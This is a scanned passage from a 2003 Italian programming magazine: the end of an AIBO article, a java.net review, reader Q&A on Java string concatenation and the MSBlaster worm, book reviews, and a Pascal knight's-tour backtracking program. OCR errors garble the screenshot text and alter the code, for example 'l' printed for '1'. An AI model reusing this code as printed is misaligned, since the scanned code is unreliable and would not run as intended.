moria condivisa da potere sovrascrivere per
impartire comandi (e tenere il riferimento a
tale zona tramite un oggetto RCRegion).
3. Accendere i vari motori!
4. Impartire i comandi voluti tramite scrittura
in memoria condivisa mantenuta dagli
oggetti RCRegion.
Ovviamente la fase 4 può essere, più o meno, com-
plicata e può spaziare dalla semplice accensione di
un LED al movimento di quattro zampe tramite
spline o inverse kinematics, ma l'importante è
sapere che la struttura da assegnare al nostro codice
può seguire una strada ben precisa, indipendente-
mente dalla complessità che si desidera impiegare.
CONCLUSIONI
Come avete visto si tratta di un mondo affascinante
per tanti versi, nel quale si possono riscontrare ele-
menti nuovi (l'uso di un robot) con altri già noti (l'u-
tilizzo di un linguaggio universale come C++).
Probabilmente la maggior parte dei lettori di questo
articolo non avrà mai a disposizione un vero AIBO
sul quale effettuare le prove, tuttavia è importante
cogliere lo spirito di queste cose, e cioè la capacità di
apprendimento di nuove tecniche di programma-
zione, di nuove librerie software e di adattamento di
tecniche già conosciute a nuove situazioni che si
possono presentare durante la nostra attività di pro-
grammatori. Queste cose serviranno certamente a
tutti.
Alla prossima!
Alfredo Marroccelli
► 124/ Dicembre 2003
http://www.ioprogrammo.it
http://java.net/ T IL SITO DEL MESE
Il suo punto di forza? Una grande comunità di sviluppatori
java.net
The Source for Java Technology Collaboration.
Uno dei punti di forza di Java
risiede nella grande comunità
di sviluppatori che è al suo
seguito. Tempo fa, si è stimato che il
numero degli sviluppatori a lavoro con
Java abbia raggiunto e superato quello
di un altro gigante del settore, C++.
Insomma, per quanto si possa reputare
attendibile o meno una statistica del
genere, il fatto che Java sia un linguaggio
arcinoto non è argomento contestabile.
Java, fondamentalmente, è arrivato al
posto giusto nel momento giusto, giac-
ché risponde ade-
guatamente a molte
problematiche dei
giorni d'oggi. Con
Java è facile fare cose
che con C++ sono
assai più complesse.
Si pensi al multith-
reading e alla sincro-
nizzazione delle
sezioni critiche, o al
networking, o all'uso
dei database. Conta
molto anche la por-
tabilità: spesso e
volentieri è difficile e
noioso fare il porting di un programma
C++ da una piattaforma all'altra, per via
delle differenti chiamate di sistema, al
quale C++ è indissolubilmente legato
anche per operazioni piuttosto elemen-
tari. Certo, Java ha prestazioni netta-
mente inferiori, ed infatti non è adatto
sempre e comunque ad ogni tipo di pro-
getto. Ci sono molti ambiti, però, dove le
prestazioni finiscono in secondo piano
rispetto alla portabilità e alla semplicità
di sviluppo e manutenzione del codice. I
processori sempre più potenti, insieme
alle macchine virtuali sempre più pre-
stanti, rendono inoltre il problema delle
prestazioni più sottile con il trascorrere
del tempo. Uno degli aspetti più affasci-
nanti di Java sta proprio nella grande
comunità di sviluppatori che vi orbita
intorno. I programmatori Java, di
norma, non si chiudono in se stessi, ma
traggono beneficio dall'utilizzo delle
tante comunità virtuali presenti in rete,
sotto innumerevoli forme. Vi serve un
aiuto per scrivere un software? In rete
troverete certamente chi è disposto a
darvi una mano.
Già una volta, in questa rubrica, ho pre-
sentato una delle più importanti comu-
nità di sviluppatori Java, jGuru
java.net The Source for |ava- Technology Co
Community
Java Today
Most A dive Comi riuniti e s
-Java Desktop
JAIN
JavaJar
Java Patte rns
Javapedla
JaraWebServicef 5r:.j>;r"
Jini
JÌOA
■■::>:■■■;:; -
OSS/J
Welcome tojava.net!
'■.. ■. ■■'■ ■..'■:■■' .-. .....: . ■ ■■■■. : .:■.:■
developers and Java tedino: uate the next "big
■viheryour project is industry speeifìe ■ ■■ community is the
■ ■:■. . .■ .: ■■..'■■■■■ ■■.-■■■■■ ■ ■ ..■■.-..■.■:■■.
SEaa
This Week in Java Today
■eekcla'ytorfresr
in Java Today we deButwith e*
repoits from the conferente. Ir
ìth Ken Arnold in "Deslgning a:
s of XML Deino. usedto
{http://www.jguru. comi) . Ultimamente,
la lista delle comunità di Java si è arric-
chita con una nuova entrata di grande
prestigio, mantenuta direttamente da
Sun Microsystems.
Digitando http:lljava.net/ nella barra
degli indirizzi del vostro browser, vi
ritroverete su java.net, l'ultimo parto di
Sun per il suo prodotto di punta.
Sostanzialmente, il sito si presenta come
un portale verso le comunità di svilup-
patori Java. Al suo interno troverete l'e-
lenco di gran parte delle comunità Java
presenti al mondo. Se ne mantenete
una, naturalmente, potrete aggiungerla
alla lista. I servizi offerti da java.net, ad
ogni modo, non si fermano qui. Potrete
iniziare a costruire la vostra comunità da
zero, direttamente sfruttando gli stru-
menti di organizzazione e gestione dello
spazio offerti dal sito. Su java.net potre-
te ospitare e diffondere i vostri progetti
software. Non mancano i forum, i blog
tematici, le mailing list e tutti gli irrinun-
ciabili servizi di questo genere. Inoltre,
le diverse sezioni del portale raccolgono
informazioni e novità sul mondo di Java.
Per partecipare attivamente alle iniziati-
ve del sito è necessario registrarsi ed
ottenere uno username, operazione
naturalmente gratuita.
Potrete così gestire la
vostra scheda, segnalan-
do i vostri progetti e le
vostre comunità. Me-
diante il vostro userna-
me, inoltre, potrete par-
tecipare ad ogni iniziati-
va pubblicizzata nel sito.
Non mancano neanche
le classiche recensioni,
le presentazioni degli
eventi, le interviste alle
personalità di rilievo del
settore e così via. Il por-
tale, essendo gestito di-
rettamente da Sun Microsystems, gode
già di ampia popolarità, nonostante i
pochi giorni di attività. Al momento, si
contano diverse migliaia di utenti e
qualche centinaio di progetti ospitati.
Ovviamente, è lecito credere che questo
sia solo l'inizio di un portale destinato a
decollare, per diventare presto punto di
riferimento per gran parte degli svilup-
patori Java. Il sito è ben fatto, ci si naviga
bene e non ci si perde mai. L'aspetto è
gradevole e rispetta i classici canoni ai
quali siamo stati abituati dal reparto
Web di Sun.
Se lavorate quotidianamente con Java, vi
consiglio di tenerlo d'occhio.
Carlo Pelliccia
project at Sun that I spend
days is calleci Jackpot. A
it's a ira in e work Tot building
re facto ring, lini cnecking,
system analysls, . and a
broaa rango of largo systerr
manipuiations It's neon
gettiiìg really interestlng
-James Oosllng
» Sue ali
Retateti Links
Community Meeting
Tuesday.-June 10
http://www.ioprogrammo.it
Dicembre 2003/125 ►
Le risposte alle domande dei lettori H T INBOX
I IVI Box
L f esperto r
esperto risponde...
Esercizi in Java
Egregio sig. Paolo Perrotta,
complimentandomi per i suoi articoli
"Java da zero", desidero porle la
seguante domanda, in merito
all'esercizio 6 della "puntata" Dalla 'a'
alla 'z': Come convertire un tipo char in
String, per poter comporre una stringa
di più' char? Ecco il codice:
String TempS = Temp +
(String)(dueLettere[Q]) +
(String)(dueLettere[l]);
qui ho provato a forzare la conversione
in string, ma il compilatore afferma che
i tipi non sono convertibili... se cerco di
aggregare i due chars senza convertire,
mi dice invece che trova un INT (ma
dove lo vedrà' mai??) e vuole invece
una stringa... Come posso ovviare a
questo problema?
Via e-mail
Risponde Paolo Perrotta.
Il problema nasce dal fatto che il com-
pilatore si trova davanti ad tre char. Il char
è concettualmente "vicino" ad un int (in
effetti è rappresentato internamente con il
codice Unicode del carattere, che è un
intero). Quando usi l'operatore '+' con dei
char, fava interpreta il simbolo come un
operatore di addizione e cerca di conver-
tire i char in int. Ad esempio:
System. out.println('a' + 'b');
Questa istruzione stampa il numero 195,
che sarebbe la somma dei codici Unicode
del carattere 'a' e del carattere 'b' (rispetti-
vamente 97 e 98). Questa "matematica dei
caratteri" è spesso utile durante la pro-
grammazione.
Ad esempio, è facile chiedere qual è la de-
cima lettera dell'alfabeto:
System. out.println((char)('a' + 9));
(In questo caso ho riconvertito l'intero in
char perché voglio stampare il carattere,
non il suo codice). Quindi, se non gli dici
niente, Java cerca di convertire un char in
un int in presenza di operatori aritmetici.
Naturalmente in questo caso non abbia-
mo un operatore aritmetico, ma una con-
catenazione. Purtroppo Java non può
saperlo. Dobbiamo farglielo capire preci-
sando che gli operandi non sono roba che
si possa sommare, ma piuttosto roba che
si può concatenare (stringhe).
Esistono diversi modi per convertire dei
caratteri in stringhe, ma nel tuo caso il mo-
do più semplice (anche se forse non il più
elegante) è aggiungere una semplice strin-
ga vuota all'inizio dell'espressione:
String TempS
+ Temp + dueLettere[0]
+ dueLettere[l];
Ora l'intera espressione inizia con una
stringa, anche se si tratta di una stringa
vuota. Appena vede la stringa il compila-
tore capisce che il segno che la segue non
può essere un operatore di addizione, ma
deve essere per forza un operatore di
concatenazione. Quindi converte in
stringa l'operando successivo, concatena
le due stringhe in una nuova stringa e va
avanti così fino a quando non ha termina-
to di risolvere l'espressione. Esistono altri
modi.
Ma implicano che tu conosca il concetto
di metodo, che spiegherò durante i
prossimi mesi. Quindi per ora ti consiglio
di usare questo, che comunque è anche il
più sintetico.
Fatti e misfatti di RPC
Salve, nel numero di ottobre, ho letto
con molto interesse l'articolo di Elia
Florio "Fatti e misfatti di RPC".
Purtroppo oltre l'interesse non sono
riuscito ad andare, nel senso che non ho
nessuna dimestichezza con gli
argomenti trattati. Tuttavia il mio
sistema (XP Home) è afflitto da qualche
settimana da un arresto di sistema
iniziato da NT Authority System così
come viene anche illustrato da voi. Ora
mi chiedevo se posso fare qualcosa per
risolvere questo problema che mi
affligge la maggior parte delle volte che
mi collego in rete.
Grazie
Emilio Albano
Risponde Elia Florio.
La rubrica degli "exploit" si rivolge in
genere agli esperti di sicurezza, che
conoscono le problematiche dei buffer
overflow e dei bug scoperti ogni giorno nei
software. Tuttavia, anche senza approfon-
dire il codice, gli articoli di questa rubrica
sono spesso interessanti da leggere, come
nel tuo caso.
Il problema da te riscontrato è dovuto al
rm "MSBlaster" (anche conosciuto come
LovSan). In pratica quando ti connetti ad
Internet il tuo PC viene attaccato da
qualche altro host infetto (connesso allo
stesso provider) e riceve un pacchetto RPC
malformato, in grado di causare il riavvio
forzato.
Per rimuovere il problema devi :
• aggiornare il tuo sistema WindowsXP
con la patch http://www.microsoft.
com/downloadsldetails.aspx?di-
splaylang=it&FamilyID=2354406
C-C5B6-44AC-9532-3DE40F69C0
74 oppure usando l'utility "win-
dowsupdate. com"
• rimuovere il worm dal tuo sistema
usando l'utility http:llsecurityresponse.
symantec.com/avcenterlvencldatal
w32. Master, worm. removal. tool.html
• proteggere la porta 135 del tuo PC con
un personal firewall tipo ZoneAlarm o
Norton Internet Security.
PER CONTATTARCI
e-mail: iopinbox@edmaster.it
Posta: Edizioni Master,
Via Cesare Correnti, 1 ■ 20123 Milano
http://www.ioprogrammo.it
Dicembre 2003/127 ►
BIBLIOTECA T
I migliori testi scelti dalla redazione
ON LINE
Biblioteca
JAVABLE
Un sito per essere sempre
aggiornati sull'evolversi del
mondo Java: news, articoli,
forum, tutorial, file e tool
per il linguaggio creato da
SUN.
i Magi ne SS?,™"*
www.javable.com
JAVA 2 SDK 1.4 - GUIDA COMPLETA
Un ottimo testo per imparare le basi della programmazione Java; il
volume presenta le tecniche di programmazione, i concetti e le meto-
dologie per lo sviluppo d'applicazioni Java adottando l'SDK 1.4.
I numerosi esempi che accompagnano il testo, forniscono al lettore la
possibilità di mettere subito in pratica quanto appreso nei diversi capi-
toli, dalla gestione degli oggetti, liste, operatori, classi e metodi, alla
gestione delle applet e all'interazione con strutture dati XML. Il CD-
Rom che accompagna il libro contiene il codice degli esempi trattati
nel testo, il Sun Java Software Development Kit 1.4 e altro materiale
trial.
Difficoltà: Medio-alta • Autore: R.Cadenhead - LLemay • Editore: Apogeo
http://www.apogeonline.com • ISBN: 88-503-2128-7 • Anno di pubblicazione: 2003
Lingua: Italiana • Pagine: 645 • Prezzo: € 49,00 • Contiene 1 Cd-Rom
UML COMPONEIUTS
VB2THEMAX
Semplicemente uno dei più
grandi repository delle
risorse online su Visual
l£m
http://www.vb2themax.com
DELPHIZiniE.COM
Un completo WebZine
dedicato al linguaggio di
casa Borland: Delphi.
Articolo, faq, tips e
quant'altro necessario al
programmatore Delphi.
http://www.delphizine.com/
Smart Solutions hHM?v
'.net
Junk Mail ^ '
Gli sviluppatori che usano tecnologie COM+ ed Enterprise JavaBeans,
devono essere in grado di definire ed esprimere le specifiche dei loro
componenti. Lo Unified Modeling Language (UML) permette di farlo
indipendentemente dal fatto che i componenti siano implementati
internamente usando una tecnologia ad oggetti. Si rende necessario,
però, anche un semplice processo che assicuri la corrispondenza tra
le specifiche e i requisiti. Il libro è focalizzato sulla specifica delle
caratteristiche esterne dei componenti e sulle interdipendenze, piut-
tosto che sull'implementazione interna. Le specifiche dei componen-
ti sono illustrate da numerosi diagrammi UML, e un caso pilota det-
tagliato mostra, nella pratica, i concetti e le tecniche più importanti.
Gli architetti di sistema, i progettisti, i programmatori e gli addetti al
testing che sono interessati a sfruttare i vantaggi offerti da UML trove-
ranno in questo libro una guida concisa, pratica e ricca di idee.
Difficoltà: Alta • Autore: J.Cheesman - J. Daniels • Editore: Addison-Wesley
http://www.addison.it • ISBN: 88-7192-129-1 • Anno di pubblicazione: 2002
Lingua: Italiana • Pagine: 167 • Prezzo: € 24,80
BEGMiniiniG JAVA OBJECTS:
FROM COIUCEPTS TO CODE
B eginn ing
Java Objects:
f«m Ccnctt ti <o Cffo*
ar
Tra le caratteristiche più apprezzate del linguaggio di programmazio-
ne Java, sicuramente spicca la sua natura orientata agli oggetti per lo
sviluppo d'applicazioni cross platform. Un'applicazione Java proget-
tata per ambiente Windows, se progettata in modo consapevole, facil-
mente sarà in grado di "girare" in ambienti Linux e viceversa. Tutto
ciò prevede che lo sviluppatore abbia una certa familiarità con i Java
Objects; il testo si pone come un'utile guida all'apprendimento di tali
concetti, fornendo al lettore tutti gli strumenti affinché lo stesso possa
imparare ad utilizzare efficientemente gli oggetti in Java, utilizzando
un linguaggio chiaro e conciso e, in alcuni contesti, appoggiandosi
all'UML per meglio esplicare taluni concetti.
Difficoltà: Media-Alta • Autore: J.Barker • Editore: Apress http://www.apress.com
ISBN: 1-59059-146-1 • Anno di pubblicazione: 2003 • Lingua: Inglese • Pagine: 688
Prezzo: $ 44.99
► 128/Dicembre 2003
http://www.ioprogrammo.it
Alla ricerca dell'algoritmo esatto I ▼ L'ENIGMA DI IOPROGRAMMO
Algoritmi per
"il giro di cavallo"
Vi ^^ di Fabio Grimaldi
Esaminiamo il problema conosciuto come giro di cavallo
approfondendo una prima soluzione; ed intorno ai risultati apriamo
una discussione.
Nel breve articolo di presentazione della neo-
nata sezione di ioProgrammo, nel numero
scorso, ci eravamo lasciati indicando due
distinte strade per la soluzione del problema. La
prima prevedeva l'attuazione del backtracking,
mentre la seconda più auspicabile proponeva al
nostro cavallo l'individuazione di un percorso,
mediante precise regole di spostamento. Facciamo
un piccolo passo indietro per dare la possibilità a
chi ha dimenticato di passare in edicola il mese
scorso, di capire cosa stiamo scrivendo. Il problema
del giro di cavallo appartiene alla vasta casistica di
giochi su scacchiera. Si pone un cavallo in una qual-
siasi casa della scacchiera, per semplificare si può
pensare ad uno dei quattro vertici. Successivamen-
te, si muove il cavallo, ovviamente secondo le rego-
le degli scacchi, quindi ad L, sulle 64 caselle della
scacchiere senza che ognuna di esse sia toccata più
di una volta. Qualora nell'ultima mossa si arrivi alla
casella iniziale si ha la variante di giro di cavallo
chiuso.
SOLUZIONE
BACKTRACKING
Una prima possibilità è il backtracking. Si tratta di
una metodologia a cui facciamo spesso ricorso, che
ci garantisce risultato, qualora ci sia. Certo non si
può dire che sia molto efficiente. A dire il vero la mia
prima decisione era quella di trattare superficial-
mente tale soluzione ed esplorare altre possibilità
magari più proficue, con il risultato che non avrem-
mo affrontato in maniera decente alcunché. Così,
sulla base del notevole interesse che ha suscitato in
me e che spero susciterà in voi, ho rispolverato
compilatore pascal e ho implementato una mia
soluzione. Ripeto, il programma completo presenta-
to di seguito non è una soluzione efficiente, come
spesso accade quando si una il backtracking, ma ha
il pregio di chiarire alcuni importanti punti nodali
del problema e fornisce un ottimo punto di parten-
za per ulteriori analisi e per lo sviluppo di altri algo-
ritmi; a tale proposito è consigliata una attenta ana-
lisi del codice prodotto. Il backtracking come ormai
sarà noto è una tecnica che a fronte di un problema
esplora tutte le possibilità fin quando non si pervie-
ne ad una soluzione. Si intuisce che proprio perché
si attua una ricerca esaustiva si possono raggiungere
tempi computazionali non accettabili. Per capire in
poche battute il metodo si associa la ricerca della
soluzione al percorso su un albero. I nodi indicano
possibili soluzioni fin quando si raggiunge una foglia
che definisce una soluzione cercata. La ricerca della
soluzione si attua percorrendo in profondità l'albe-
ro. Se si arriva ad una foglia che non è soluzione,
allora si deve percorre a ritroso l'albero, e a partire
dal nodo padre si devono esplorare nuove soluzioni.
L'implementazione si ottiene con l'uso di una pila su
cui le operazioni di push indicano un nuovo salto del
cavallo, mentre le pop specificano il percorso a ritro-
so con il quale si ricercano nuove soluzioni. Per con-
cretizzare il metodo bisogna definire i movimenti
base del cavallo (nel caso migliore sono otto) e intra-
prendere il percorso da una qualsiasi cella. L'equino
nella generica casella tenterà il successivo salto pro-
vando nell'ordine (in senso orario a partire da incre-
mento di x di due e decremento di y di 1) le otto dire-
zioni, la prima che risulta
valida viene convalidata
e percorsa, tale operazio-
ne equivale ad una push.
Se non vi sono caselle
disponibili si torna indie-
tro di un passo, operazio-
ne di pop, e si esplorano
le direzioni che risultava-
no inesplorate (informa-
zione memorizzata con
la push), se ve ne è una
disponibile si prosegue
sempre con push, altri-
Uno degli scopi di
questa sezione è
quello di dare la
possibilità ai lettori di
discutere e
confrontare i propri
studi e le proprie
implementazioni.
A tale proposito su
www.ioprogrammo.ne
t nella sezione forum
vi è una discussione
apposita sul tema
dove tra
programmatori sarà
possibile scambiare le
proprie opinioni sul
tema.
— > 56 <— < 61 > . .
elaborazione -
54 37 52 31
34 3 10
38 51 32 35 2
11 6 13
55 36 53 30 33
14 9 4
39 50 1 28
5 12 7
1
56 29 46 41
8 15 24
44 49 40 27
23 18 21
45 42 47
20 25 16
43 48 26
17 22 19
— > 57 <— < 65 > . .
elaborazione -
37 52 31
34 3 10
3B 51 32 35 2
11 6 13
55 36 53 30 33
14 9 4
50 39 56 1 28
5 12 7
57 54 29 46 41
8 15 24
44 49 40 27
23 18 21
58 45 42 47
20 25 16
43 48 59 26
17 22 19
— > 60 <— < 111 > .
. elaborazione -
52 37 54 31
34 3 1B
38 55 32 35 2
11 6 13
51 36 53 30 33
14 9 4
56 39 58 1 28
5 12 7
59 50 29 46 41
8 15 24
44 57 40 27
23 18 21
49 60 45 42 47
20 25 16
43 48 61 26
17 22 19
— > 62 <— < 255 > .
. elaborazione -
Fig. 1: Output. Soluzione finale e parziali.
http://www.ioprogrammo.it
Dicembre 2003/129 ►
L'ENIGMA DI IOPROGRAMMO T
Alla ricerca dell'algoritmo esatto
Fig. 2: A voi l'onere di
trovare un algoritmo che
risolva il problema.
FILONI DI
APPROFONDIMENTO
L'enigma affrontato
abbraccia molti ambiti,
ad esempio, ha una for-
tissima valenza storica
se si pensa che i primi
studi risalgono a tempi
in cui il computer non
veniva immaginato
neanche dalle più fan-
tasiose menti. Anche se
come giro di cavallo
appare per la prima
volta nel 1902 in una
rivista inglese a cura di
Murray, già intorno al
lontano 840 furono
ritrovate mappe di
numeri, compiute dagli
arabi Mani e Rhumi,
che risolvono il proble-
ma. Sorprendente è
l'interesse dimostrato
da conosciuti studiosi
verso la questione,
Eulero (Léonard Euler) è
il più lucido esempio.
Ma oltre alla storia,
motivi di approfondi-
mento sono sicuramen-
te i programmi per
computer che traduco-
no algoritmi solutori e
gli studi fatti diretta-
mente su scacchiera.
menti ancora a ritroso con pop e così si generalizza
il procedimento. Adesso risulta più chiaro il paralle-
lo con l'albero, vero? Implementiamo.
IL CODICE
Per motivi legati allo spazio a nostra disposizione il
codice è stato linkato sul Web all'indirizzo
www. ioprogrammo. iti enigma.
La pila mantiene nell'ordine, per ogni nodo, le posi-
zioni occupate dal cavallo e la direzione intrapresa.
Campo è la matrice che rappresenta la scacchiera.
Man mano che il cavallo percorre il suo giro sulla
matrice vengono numerate le caselle calpestate
(ovviamente, 1 è il primo passo, 2 il secondo e così
via). Le due variabili s e cicli contengono, rispetti-
vamente, il numero di case calpestate {step) fino a
quel momento, e il numero di cicli (più precisa-
mente il numero di push, quindi di salti). Con la
seconda di queste variabili possiamo fare una valu-
tazione quantitativa dell'algoritmo e delle scelte
riguardanti il settaggio di alcuni paramentri. Le
funzioni sono riportate nel codice proposto sul
Web.
Oltre alle funzioni legate all'uso della pila (is_em-
plty, push, pop, top), vi sono quelle specifiche; con
muovi si tenta un nuovo salto. L'ordine delle dire-
zioni di salto è numerato. Azzera serve per prepa-
rare la matrice, mentre visual fornisce l'output (è
usato anche parziale).
Infine, vi è il programma principale in cui si attua il
backtracking. La push viene richiamata quando vi
sono possibilità di mosse, altrimenti si invoca pop.
Begin { Principale }
pi la : = nil ; { inizialmente lo stack _ vuoto }
azzera(campo);
cicli : = 0;
writeln('dammi le coordinate di partenza');
{ La rana viene paracadutata }
write(' x-> ');
readln(i);
write(' y-> ');
readln(j);
s: = l; { contatore dei macro passi "step" compiuti }
coo.x: = i;
coo.y:=j;
coo.d: = l; { inizializzazione delle coordinate }
push(coo,pila);
campo[coo.x,coo.y]:=s;
massimo:=salti-10;
repeat
while muovi(campo,coo) do
begin
cicli :=cicli+l;
push(coo,pila);
s:=s+l;
campo[coo.x,coo.y] : =s;
coo.d: = l;
end;
if s<salti then
if not(is_empty(pila)) then
begin
pop(pila,coo);
dir:=coo.d+l;
campo[coo.x,coo.y]: = 0;
top(pila,coo);
coo.d:=dir;
if s>massimo then
begin massimo: =s;
visual(campo);
writeln(' .. elaborazione -')
end;
s:=s-l;
end;
until (is_empty(pila)) or (s>salti-l);
if s=salti then visual(campo)
else wrìte ('Non ci sono soluzioni');
End.
L'output del programma è rappresentato in Fig. 2, a
fronte della partenza dalla casa 4,4 (gli scacchisti
avrebbero detto d4). È sorprendente notare che il
numero di push è stratosferico, infatti, sono oltre 22
milioni.
Analizzando le soluzioni parziali si nota come la
ricerca a ritroso di nuove soluzioni è spesso faticosa;
ad esempio nella ricerca dell'ultima casa l'algoritmo
ha percorso a ritroso le soluzioni fino alla 33, ed ha
poi, per tentativi, ricostruito un nuovo cammino.
Cambiando l'ordine delle direzioni si possono otte-
nere risultati migliori.
CONCLUSIONI
Sinceramente non pensavo ci fosse un simile fer-
mento circa questo problema. Esplorando in rete ho
individuato tanti siti che affrontano l'enigma. La
ragione di questo interesse è forse dovuta al fatto
che oltre ad essere un rompicapo affascinante e con
un alone di mistero, coinvolge differenti figure,
come il programmatore, lo scacchista e lo studioso
in generale. Inoltre, come è emerso la questione può
essere affrontata da diversi punti di vista da quello
storico -artistico al più vicino a noi di programma-
zione.
Nella prossima puntata concluderemo su cartaceo
il presente problema visionando soluzioni più effi-
cienti, sperando che possa proseguire la sua vita
(intesa come discussione, nel forum di www. iopro-
grammo.net), e introdurremo un nuovo problema.
Comincio già da adesso la ricerca di qualcosa di suc-
culento che possa soddisfare i palati più esigenti.
Alla prossima!!
► 130/Dicembre 2003
http://www.ioprogrammo.it